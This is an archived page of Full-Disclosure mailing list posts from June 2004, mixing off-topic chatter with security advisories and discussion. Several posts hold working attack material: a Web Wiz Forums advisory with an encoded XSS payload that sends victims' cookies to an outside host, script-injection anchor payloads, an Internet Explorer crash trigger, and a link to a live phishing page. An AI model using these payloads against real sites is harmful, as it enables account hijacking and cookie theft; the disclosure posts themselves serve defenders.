OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] linux kernel local crash seen on slashdot

From: Dave Monnier, IT Security Office, Indiana University (dmonnieriu.edu)
Date: Tue Jun 15 2004 - 08:23:58 CDT

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Stefan SF wrote:
> Not really,
>
> but you could activate PaX which prevents the exploit!
>
> ....hth...
>
> Stefan

The vulnerability mentioned in the topic affects PaX enabled kernels as
well.

Cheers,
- -Dave

- --
| Dave Monnier - dmonnieriu.edu - http://php.indiana.edu/~dmonnier/ |
| Lead Security Engineer, Information Technology Security Office |
| Office of the VP for Information Technology, Indiana University |
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFAzvhuBIf6jlONJjIRAlzTAKCa0Vv6pPTkKZ2rDJg3CngXblfqUgCgwZG9
WshZ1tnkYP+Fz0yJhf2DwVw=
=3/bZ
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Antivirus/Trojan/Spyware scanners DoS!

From: Cory Donnelly (coryonryou.com)
Date: Tue Jun 15 2004 - 07:25:59 CDT

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Aditya, ALD [Aditya Lalit Deshmukh] wrote:

> First of all this might be a social engg. attempt to find your
> antivirus versions and if the allow passing of malicious code thr.. so
> please santise your data before sending to the list

Who, Bipin? Are you kidding? He's as harmless as a puppy wrapped in
bubble-wrap.

C
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (MingW32)

iD8DBQFAzurXokBdAgPGOhURAsP0AKDwVqDSbGjUD3AnMdiGSLX5D4mOcgCg+LQ5
QVIc7ScXhq79iLqcYwPC1tI=
=OAx6
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Akamai

From: Niek Baakman (niekbaakmanhome.nl)
Date: Tue Jun 15 2004 - 08:58:27 CDT

Hi list,

akamai disappeared from the internet about an hour ago.
(all their dns servers are dead, hence many companies that
use akamai are unreachable: microsoft.com/liveupdate.symantec.com
apple/some search engines)

Does anyone know if it is security-related (ddos, something else).

Regards,

Niek

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Yahoo upgraded all accounts to 100MB

From: Syed Imran Ali (manipetoyahoo.co.uk)
Date: Tue Jun 15 2004 - 08:57:30 CDT

Hiya,

It is nice to see my inbox today, having 100MB or storage space, 84%
remaining. Yahoo now allows up to 10MB attachment too.... I am not sure
about .co.uk is still allowing POP or not with 100MB, as it was with 6MB.

Regards,

S. Imran Ali

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] antivirus and spyware scanning

From: Lee Leahu (leericis.com)
Date: Tue Jun 15 2004 - 09:45:33 CDT

Hello Everyone,

I recently came across a linux based live-cd designed for virus scanning, disaster recover, network analysis, etc.

http://www.inside-security.de/insert_en.html

I think it is very useful to scan a windows machine from viruses while having that machine booted to linux. This pretty much ensures that you will find all the virii on that system.

Does anyone know of a spyware scanner that can also work from within Linux? I dis-like the idea of having to boot to windows just to scan the box for spyware. One could argue that the harddrive could be put into another machine and scanned there, but what if your in an environment where that is just not possible (making housecalls, no unused machine, etc)?

Also, if you know of a better solution that this, I am always interested.

Thanks

--
Lee Leahu RICIS, Inc.
Internet Technology Specialist 866-RICIS-77 Toll Free Voice (US)
leericis.com 708-444-2690 Voice (International)
http://www.ricis.com/ 866-99-RICIS Toll Free Fax (US)
                                    708-444-2697 Fax (International)

RICIS, Inc. is a member of the Public Safety Alliance Group

This email and any attachments that are included in it have been scanned
for malicious or inappropriate content and are believed to be safe.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] MAGIC XSS INTO THE DNS: coelacanth

http-equivexcite.com
Date: Tue Jun 15 2004 - 10:19:21 CDT

Tuesday, June 12, 2004

The following courtesy of 'bitlance winter' adds an entirely new
dimension to the matter and also suggest some additional
peculiarities at play:

<a href='http://&quot;&gt;&lt;plaintext&gt;.e-gold.com'>foo</a>

<a href='http://&quot;&gt;&lt;script&gt;alert()&lt;%
2Fscript&gt;.e-gold.com'>foo</a>

these will inject arbitrary html and script into the site in the
context of the 'intranet zone', which means one no longer needs
to go out and setup a site with the dns issue, all one needs to
do is locate a functioning site, include their code into a
suitable url, either direct the target via that or place an
iframe elsewhere pointing to it.

Still unclear how or why this can be interpreted into the site
or through the browser.

credit: 'bitlance winter'

End Call

--
http://www.malware.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Yahoo upgraded all accounts to 100MB

From: William Warren (hescominsoonemmanuelcomputerconsulting.com)
Date: Tue Jun 15 2004 - 10:25:00 CDT

hrmm my yahoo account still shows 4.0 megs..do you have a paid account?

Syed Imran Ali wrote:

> Hiya,
>
> It is nice to see my inbox today, having 100MB or storage space, 84%
> remaining. Yahoo now allows up to 10MB attachment too.... I am not sure
> about .co.uk is still allowing POP or not with 100MB, as it was with 6MB.
>
> Regards,
>
> S. Imran Ali
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

--
My "Foundation" verse:
Isa 54:17 No weapon that is formed against thee shall prosper; and
every tongue that shall rise against thee in judgment thou shalt
condemn. This is the heritage of the servants of the LORD, and their
righteousness is of me, saith the LORD.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Dull-Disclosure

From: Eric Paynter (ericarcticbears.com)
Date: Tue Jun 15 2004 - 11:01:02 CDT

On Mon, June 14, 2004 3:30 pm, Curt Purdy said:
> You think infosec.volubis.com was dissing us?
[...]
> Quote:
> has been posted onto a dull disclosure mailing list.

f and d are right next to each other on a querty keyboard. Perhaps it was
just a typo. :-?

-Eric

--
arctic bears - affordable email and name services yourdomain.com
http://www.arcticbears.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] antivirus and spyware scanning

From: Dave King (davefddavewking.com)
Date: Tue Jun 15 2004 - 10:41:23 CDT

I've looked at several bootable Linux cd's and haven't found one to
remove Window's spyware. BartPE ( http://www.nu2.nu/pebuilder/ ) is a
Windows XP/2003 based bootable CD that will allow you to run Adaware.
The one limitation seems to be that it won't scan the registry on the
Windows installation on the hard drive. If you haven't checked it out,
BartPE is really a cool project that basically lets you master your own
cd to your own liking. It has a pretty large comunity backing and you
who make all sorts of addins. You can, for example, add virus scanning
to your BartPE cd as well.

You may also be able to get Adaware, or some similar program, to run
using WINE on a Knoppix based distro like Auditor Security Collection or
Knoppix-STD.

Good Luck,
Dave King
http://www.thesecure.net
 
Lee Leahu wrote:

>Hello Everyone,
>
>I recently came across a linux based live-cd designed for virus scanning, disaster recover, network analysis, etc.
>
>http://www.inside-security.de/insert_en.html
>
>I think it is very useful to scan a windows machine from viruses while having that machine booted to linux. This pretty much ensures that you will find all the virii on that system.
>
>Does anyone know of a spyware scanner that can also work from within Linux? I dis-like the idea of having to boot to windows just to scan the box for spyware. One could argue that the harddrive could be put into another machine and scanned there, but what if your in an environment where that is just not possible (making housecalls, no unused machine, etc)?
>
>Also, if you know of a better solution that this, I am always interested.
>
>Thanks
>
>
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] US Bank scam

From: David Lederman (delphi4proyahoo.com)
Date: Tue Jun 15 2004 - 11:29:50 CDT

This is the best phishing scam I've seen yet:
http://www.bis1bp.com/a12/index.html

I have Windows Server 2003 fully patched and this works. The program fakes an address bar so this
would pass through most people's safety check, after all the address bar clearly has the correct
address.

There are bugs in the code, for example, all your Internet Explorer windows will now have this
address, but again for most people would only have one window open.

                
__________________________________
Do you Yahoo!?
Yahoo! Mail is new and improved - Check it out!
http://promotions.yahoo.com/new_mail

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Yahoo upgraded all accounts to 100MB

From: Ron DuFresne (dufresnewinternet.com)
Date: Tue Jun 15 2004 - 11:42:10 CDT

The real questions fellows is though, what does any of this have to do
with security, and who cares how much storage space your particular ISP or
e-mail provider supplies?

Thanks,

Ron DuFresne

On Tue, 15 Jun 2004, William Warren wrote:

> hrmm my yahoo account still shows 4.0 megs..do you have a paid account?
>
>
> Syed Imran Ali wrote:
>
> > Hiya,
> >
> > It is nice to see my inbox today, having 100MB or storage space, 84%
> > remaining. Yahoo now allows up to 10MB attachment too.... I am not sure
> > about .co.uk is still allowing POP or not with 100MB, as it was with 6MB.
> >
> > Regards,
> >
> > S. Imran Ali
> >
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html
> >
>
> --
> My "Foundation" verse:
> Isa 54:17 No weapon that is formed against thee shall prosper; and
> every tongue that shall rise against thee in judgment thou shalt
> condemn. This is the heritage of the servants of the LORD, and their
> righteousness is of me, saith the LORD.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"Cutting the space budget really restores my faith in humanity. It
eliminates dreams, goals, and ideals and lets us get straight to the
business of hate, debauchery, and self-annihilation." -- Johnny Hart
        ***testing, only testing, and damn good at it too!***

OK, so you're a Ph.D. Just don't touch anything.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Re: Full-Disclosure digest, Vol 1 #1707 - 14 msgs (This message is automatically generated by Groupwise. Apologies for not being able to attend to your)

From: Chin Cheng Baey (Baeydbs.com)
Date: Tue Jun 15 2004 - 11:26:07 CDT

This message is automatically generated by Groupwise. Apologies for not being able to attend to your email. I'm away and will be back on 17 June. During this period, I will not have access to email.

If the matter is urgent, please contact the following:

Kim Chwee 6878-2640
Joke Fong 6878-2629.

Have a great day.

CONFIDENTIAL NOTE: The information contained in this email is intended only
for the use of the individual or entity named above and may contain
information that is privileged, confidential and exempt from disclosure
under applicable law. If the reader of this message is not the intended
recipient, you are hereby notified that any dissemination, distribution or
copying of this communication is strictly prohibited. If you have received
this message in error, please immediately notify the sender and delete the
mail. Thank you.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] RE: Internet Explorer Remote Null Pointer Crash(mshtml.dll)

From: Thor Larholm (thorpivx.com)
Date: Tue Jun 15 2004 - 12:02:28 CDT

Manually right-clicking and selecting "Save target as" invokes the
download functionality. This can also be automatically triggered by
redirecting with a META tag to a server script that sets Content-Type
and Content-Disposition headers to an unknown MIME-type which causes the
"Open/Save As" dialog box to be triggered during which time IE
automatically tries to initiate the download and create the appropriate
files in the TIF (Temporary Internet Files), just like the "Save target
as" functionality does.

IE automatically initiates the download of any file with an unknown
MIME-type and starts storing this file in the TIF, before the user has
selected whether to Open, Save or Cancel the download. If the user
cancels, the file is deleted. This has already been used to plant
arbitrary files in predictable locations and leads to a race condition
where you can cross the security zone boundaries using other
vulnerabilities in the timeframe between the download is forcefully
initiated to the time where the user cancels the download.

Regards

Thor Larholm
Senior Security Researcher
PivX Solutions
24 Corporate Plaza #180
Newport Beach, CA 92660
http://www.pivx.com
thorpivx.com
Stock symbol: (PIVX)
Phone: +1 (949) 231-8496
PGP: 0x5A276569
6BB1 B77F CB62 0D3D 5A82 C65D E1A4 157C 5A27 6569

PivX defines a new genre in Desktop Security: Proactive Threat
Mitigation.
<http://www.pivx.com/qwikfix>

-----Original Message-----
From: Berend-Jan Wever [mailto:SkyLinededup.tudelft.nl]
Sent: Monday, June 14, 2004 6:34 PM
To: full-disclosurelists.netsys.com; vulnwatchvulnwatch.org
Subject: Re: [Full-Disclosure] Internet Explorer Remote Null Pointer
Crash(mshtml.dll)

Doesn't look like a null pointer to me, especially since it crashes
while reading 800c0005... I think it's a format string vulnerability,
causing ntdll.RtlFormatMessage to call ntdll._snwprintf with your href.
Might be exploitable, I'll have a look...

Cheers,
SkyLined
----- Original Message -----
From: "Rafel Ivgi, The-Insider" <theinsider012.net.il>
To: "vulnwatch" <vulnwatchvulnwatch.org>
Sent: Monday, June 14, 2004 23:20
Subject: [Full-Disclosure] Internet Explorer Remote Null Pointer
Crash(mshtml.dll)

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> ~
>
> Application: Internet Explorer
> Vendors: http://www.microsoft.com
> Versions: 6.0.2800.1106.xpclnt_qfe.021108-2107
> Patched With: SP1;Q832894;Q330994;Q837009;Q831167;
> ModName: mshtml.dll
> ModVer: 6.0.2734.1600
> Platforms: Windows
> Bug: Remote/Local Null Pointer Crash
> Exploitation: Remote with browser
> Date: 14 Jun 2004
> Author: Rafel Ivgi, The-Insider
> e-mail: the_insidermail.com
> web: http://theinsider.deep-ice.com
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> ~
>
> 1) Introduction
> 2) Bugs
> 3) The Code
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> ~
>
> ===============
> 1) Introduction
> ===============
>
> Internet Explorer is currently the most common internet browser in the

> world. It comes by default with every windows operating system.
> Therefore any vulnerability
> concerning it is an highly important issue.
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> ~
>
> ======
> 2) Bug
> ======
>
> Upon clicking "Save As" on a link with double colon --> "::" and
> a left curly bracket --> "{"
> then
> Internet Explorer Will Crash.
>
> AppName: iexplore.exe AppVer: 6.0.2600.0 ModName: ntdll.dll
> ModVer: 5.1.2600.114 Offset: 00056074
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> ~
>
> ===========
> 3) The Code
> ===========
>
> Paste into an htm/html file:
> <center><a href=::%7b>Right Click aOn Me And Click "Save Target
> As"</a>
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> ~
>
> ---
> Rafel Ivgi, The-Insider
> http://theinsider.deep-ice.com
>
> "Scripts and Codes will make me D.O.S , but they will never HACK me."
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] antivirus and spyware scanning

From: Harlan Carvey (keydet89yahoo.com)
Date: Tue Jun 15 2004 - 11:43:08 CDT

> I think it is very useful to scan a windows machine
> from viruses while having that machine booted to
> linux. This pretty much ensures that you will find
> all the virii on that system.

Not necessarily. You'll have to update the virus
signatures on your CD distribution prior to scanning,
and that doesn't guarantee complete coverage, either.

 
> Does anyone know of a spyware scanner that can also
> work from within Linux? I dis-like the idea of
> having to boot to windows just to scan the box for
> spyware. One could argue that the harddrive could
> be put into another machine and scanned there, but
> what if your in an environment where that is just
> not possible (making housecalls, no unused machine,
> etc)?
>
> Also, if you know of a better solution that this, I
> am always interested.

Better solution than what? I'm not really clear on
what you're trying to do...you seem to have Windows
machines that you're interested in scanning for
viruses and spyware...why not simply use Windows apps?
 That way, you wouldn't have to boot to another os, or
remove the hard drive at all...

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Yahoo upgraded all accounts to 100MB

From: Joseph Peterson (josephimagescape.com)
Date: Tue Jun 15 2004 - 11:35:29 CDT

Perhaps it is for users who have been with Yahoo for a really long time? I
just checked and mine has been upgraded to 100Mb.

Actually, I wasn't too worried about it because for several months now
their quota on my account has been broken! It always said 92% of capacity
even when I knew I had well over the allotted quota.

-joe

On Tue, 15 Jun 2004, William Warren wrote:

> hrmm my yahoo account still shows 4.0 megs..do you have a paid account?
>
>
> Syed Imran Ali wrote:
>
>> Hiya,
>>
>> It is nice to see my inbox today, having 100MB or storage space, 84%
>> remaining. Yahoo now allows up to 10MB attachment too.... I am not sure
>> about .co.uk is still allowing POP or not with 100MB, as it was with 6MB.
>>
>> Regards,
>>
>> S. Imran Ali
>>
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.netsys.com/full-disclosure-charter.html
>>
>
> --
> My "Foundation" verse:
> Isa 54:17 No weapon that is formed against thee shall prosper; and every
> tongue that shall rise against thee in judgment thou shalt condemn. This is
> the heritage of the servants of the LORD, and their righteousness is of me,
> saith the LORD.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Web Wiz Forums Registration Rules XSS Vulnerability

From: Ferruh Mavituna (ferruhmavituna.com)
Date: Tue Jun 15 2004 - 12:25:37 CDT

------------------------------------------------------
WEB WIZ FORUMS REGISTRATION RULES XSS VULNERABILITY
------------------------------------------------------
Online URL : http://ferruh.mavituna.com/article/?528

XSS / Cross Site Scripting attack allows an attacker to hijack other
users/administrators account.

------------------------------------------------------
ABOUT WEB WIZ FORUMS;
------------------------------------------------------
Web Wiz Forums, the free award winning ASP bulletin board system software,
can add value to almost any web site.

Whether you are building a small interactive community with 10 people or
over 100,000 strong customer support forum, this fast, scalable, bulletin
board engine can manage your community

URL & Demo & Source Code Download ;
http://www.webwizguide.info/web_wiz_forums/

------------------------------------------------------
VULNERABLE;
------------------------------------------------------
Web Wiz Forums Version 7.8 [possibly lower versions]

------------------------------------------------------
NOT VULNERABLE;
------------------------------------------------------
Web Wiz Forums Version 7.9

------------------------------------------------------
PROBLEM;
------------------------------------------------------
- Page
registration_rules.asp (Parameter : FID)

- Test;
registration_rules.asp?FID=%22%3E%3Cscript%3Ealert%28%27Vulnerable%2520%21%2
7%29%3C%2Fscript%3E

- Possible Exploit Pattern;
- This sample sends cookie to victim URL [in sample
http://ferruh.mavituna.com/xss/]
registration_rules.asp?FID=%22%3E%3Cimg+width%3D0+height%3D0+src%3D%22javasc
ript%3Adocument%2Eimages%5B0%5D%2Esrc%3D%27http%3A%2F%2Fferruh%2Emavituna%2E
com%2Fxss%2F%3F%27%2Bdocument%2Ecookie%22%3E

------------------------------------------------------
HOW TO PATCH [provided by vendor];
------------------------------------------------------
Download http://www.zap2.me.uk/7.7a_and_7.8_to_7.9_patch_files.zip
Version 7.9 has been released to deal with this issue.
Change line 65 of the file registration_rules.asp that reads:-

intForumID = Request.QueryString("FID")

To the following:-

If isNumeric(Request.QueryString("FID")) Then
         intForumID = CInt(Request.QueryString("FID"))
Else
         intForumID = 0
End If

-----------------------------------------------------
HISTORY;
------------------------------------------------------
Discovered : 14.06.2004
Vendor Informed : 15.06.2004
Published : 15.06.2004

------------------------------------------------------
Vendor Status;
------------------------------------------------------
Quickly answered & fixed.

Ferruh Mavituna
Web Application Security Specialist
http://ferruh.mavituna.com

PGPKey : http://ferruh.mavituna.com/PGPKey.asc

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] Akamai

From: Chris Carlson (chriscompucounts.com)
Date: Tue Jun 15 2004 - 12:46:07 CDT

I've just been told that it was a DoS. No details.

> -----Original Message-----
> From: full-disclosure-adminlists.netsys.com
> [mailto:full-disclosure-adminlists.netsys.com] On Behalf Of
> Niek Baakman
> Sent: Tuesday, June 15, 2004 09:58
> To: full-disclosurelists.netsys.com
> Subject: [Full-Disclosure] Akamai
>
> Hi list,
>
> akamai disappeared from the internet about an hour ago.
> (all their dns servers are dead, hence many companies that
> use akamai are unreachable: microsoft.com/liveupdate.symantec.com
> apple/some search engines)
>
> Does anyone know if it is security-related (ddos, something else).
>
> Regards,
>
> Niek
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] US Bank scam

From: Eric LeBlanc (inoukigt.net)
Date: Tue Jun 15 2004 - 12:58:39 CDT

On Tue, 15 Jun 2004, David Lederman wrote:

> This is the best phishing scam I've seen yet:
> http://www.bis1bp.com/a12/index.html
>
> I have Windows Server 2003 fully patched and this works. The program fakes an address bar so this
> would pass through most people's safety check, after all the address bar clearly has the correct
> address.
>
> There are bugs in the code, for example, all your Internet Explorer windows will now have this
> address, but again for most people would only have one window open.
>

If you have google's toolbar or something similar, it will overwrite this
toolbar and not the address bar.

But, I must admit that this thing is ingenious !

E.
--
Eric LeBlanc
inoukigt.net
--------------------------------------------------
UNIX is user friendly.
It's just selective about who its friends are.
==================================================

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] antivirus and spyware scanning

From: Kevin Ponds (kpondsgmail.com)
Date: Tue Jun 15 2004 - 13:08:17 CDT

Logically speaking, all of a viruses kinetic countermeasures to
detection can be negated by scanning for the virus whilst the drive is
not mounted.

I think the original poster wanted to take more of a forensic approach
to virus removal, in this way the antivirus software cannot be
hijacked itself.

A good implementation would either download the definitions from the
internet right after the CD boots (this could be a problem because of
oddball NICs and linux drivers), or alternatively from a
floppy/USB-key.

The only problems that I see with it are that "at rest" detection
methodology does not work for certain viral stealth manuvers, such as
polymorphic engines and (in the near future) cryptovirology*.
Run-time analysis is needed for viruses that obfuscate their stored
code.

*however, we have to get our users to stop downloading attachments and
to start patching before the virus writers have any incentive to be
innovative and use things like polymorphic engines and cryptovirology.

ponds

On Tue, 15 Jun 2004 09:43:08 -0700 (PDT), Harlan Carvey
<keydet89yahoo.com> wrote:
>
>
> > I think it is very useful to scan a windows machine
> > from viruses while having that machine booted to
> > linux. This pretty much ensures that you will find
> > all the virii on that system.
>
> Not necessarily. You'll have to update the virus
> signatures on your CD distribution prior to scanning,
> and that doesn't guarantee complete coverage, either.
>
>
> > Does anyone know of a spyware scanner that can also
> > work from within Linux? I dis-like the idea of
> > having to boot to windows just to scan the box for
> > spyware. One could argue that the harddrive could
> > be put into another machine and scanned there, but
> > what if your in an environment where that is just
> > not possible (making housecalls, no unused machine,
> > etc)?
> >
> > Also, if you know of a better solution that this, I
> > am always interested.
>
> Better solution than what? I'm not really clear on
> what you're trying to do...you seem to have Windows
> machines that you're interested in scanning for
> viruses and spyware...why not simply use Windows apps?
> That way, you wouldn't have to boot to another os, or
> remove the hard drive at all...
>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] [ GLSA 200406-10 ] Gallery: Privilege escalation vulnerability

From: Thierry Carrez (koongentoo.org)
Date: Tue Jun 15 2004 - 14:14:20 CDT

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200406-10
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Gallery: Privilege escalation vulnerability
      Date: June 15, 2004
      Bugs: #52798
        ID: 200406-10

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

There is a vulnerability in the Gallery photo album software which may
allow an attacker to gain administrator privileges within Gallery.

Background
==========

Gallery is a web application written in PHP which is used to organize
and publish photo albums. It allows multiple users to build and
maintain their own albums. It also supports the mirroring of images on
other servers.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 app-misc/gallery <= 1.4.3_p1 >= 1.4.3_p2

Description
===========

There is a vulnerability in the Gallery photo album software which may
allow an attacker to gain administrator privileges within Gallery. A
Gallery administrator has full access to all albums and photos on the
server, thus attackers may add or delete photos at will.

Impact
======

Attackers may gain full access to all Gallery albums. There is no risk
to the webserver itself, or the server on which it runs.

Workaround
==========

There is no known workaround at this time. All users are encouraged to
upgrade to the latest available version.

Resolution
==========

All users should upgrade to the latest available version of Gallery.

    # emerge sync

    # emerge -pv ">=app-misc/gallery-1.4.3_p2"
    # emerge ">=app-misc/gallery-1.4.3_p2"

References
==========

  [ 1 ] Gallery Announcement

http://gallery.menalto.com/modules.php?op=modload&name=News&file=article&sid=123&mode=thread&order=0&thold=0

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

     http://security.gentoo.org/glsa/glsa-200406-10.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Technologies, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/1.0

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFAz0qMvcL1obalX08RAmuoAKCKcyWXNtt+mdgtX26R9l96V8yE4QCfVFQG
9s9GiyiY83X/VHcx2Kc+mQQ=
=+z9+
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Administrivia: Classical Rant

From: Len Rose (lennetsys.com)
Date: Tue Jun 15 2004 - 13:52:11 CDT

ATTENTION LAMERS

 Speaking for myself only, something has to be done
 about the quality of the information, and the standards
 of netiquette on this list.

 We all don't need to see mindlesS banter, and other noise
 spewing back and forth. If you can, please try to not post
 this spewage to the list, but instead send mail to each other
 (after carefully cutting and pasting on your windows desktop)

 If you must send it to the list it must be in terms of
 technical content, whether it is of a real security issue
 and not if Yahoo will increase your disk space or what slashdorks
 posted about something that was known since 2 months ago.
 
 I use the word technical loosely as in my mind, anything
 security related is inherently technical even if it/is not
 actually dealing with code or networks or systems.

 I'm very sick of seeing the amount of lame crap on this list,
 and I imagine a great deal of others are too.

 Thanks for listening.

  PS Unlike other "reputable" lists, we try not to censor
     anyone if they at least subscribe and never hit the
     queue. Lately we default to "delete" and try to approve
     those people who insist on posting without subscribing,
     or posting from a non-subscribed address. If "reputable"
     means bugtraq or cert then beat me with a stick.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] [ GLSA 200406-08 ] Squirrelmail: Another XSS vulnerability

From: Thierry Carrez (koongentoo.org)
Date: Tue Jun 15 2004 - 14:00:27 CDT

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200406-08
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Squirrelmail: Another XSS vulnerability
      Date: June 15, 2004
      Bugs: #52434
        ID: 200406-08

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Squirrelmail fails to properly sanitize user input, which could lead to
a compromise of webmail accounts.

Background
==========

SquirrelMail is a webmail package written in PHP. It supports IMAP and
SMTP, and can optionally be installed with SQL support.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 mail-client/squirrelmail <= 1.4.3_rc1-r1 >= 1.4.3

Description
===========

A new cross-site scripting (XSS) vulnerability in
Squirrelmail-1.4.3_rc1 has been discovered. In functions/mime.php
Squirrelmail fails to properly sanitize user input.

Impact
======

By enticing a user to read a specially crafted e-mail, an attacker can
execute arbitrary scripts running in the context of the victim's
browser. This could lead to a compromise of the user's webmail account,
cookie theft, etc.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All SquirrelMail users should upgrade to the latest stable version:

    # emerge sync

    # emerge -pv ">=mail-client/squirrelmail-1.4.3"
    # emerge ">=mail-client/squirrelmail-1.4.3"

References
==========

  [ 1 ] RS-Labs Advisory
        http://www.rs-labs.com/adv/RS-Labs-Advisory-2004-1.txt
  [ 2 ] CERT description of XSS
        http://www.cert.org/advisories/CA-2000-02.html

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

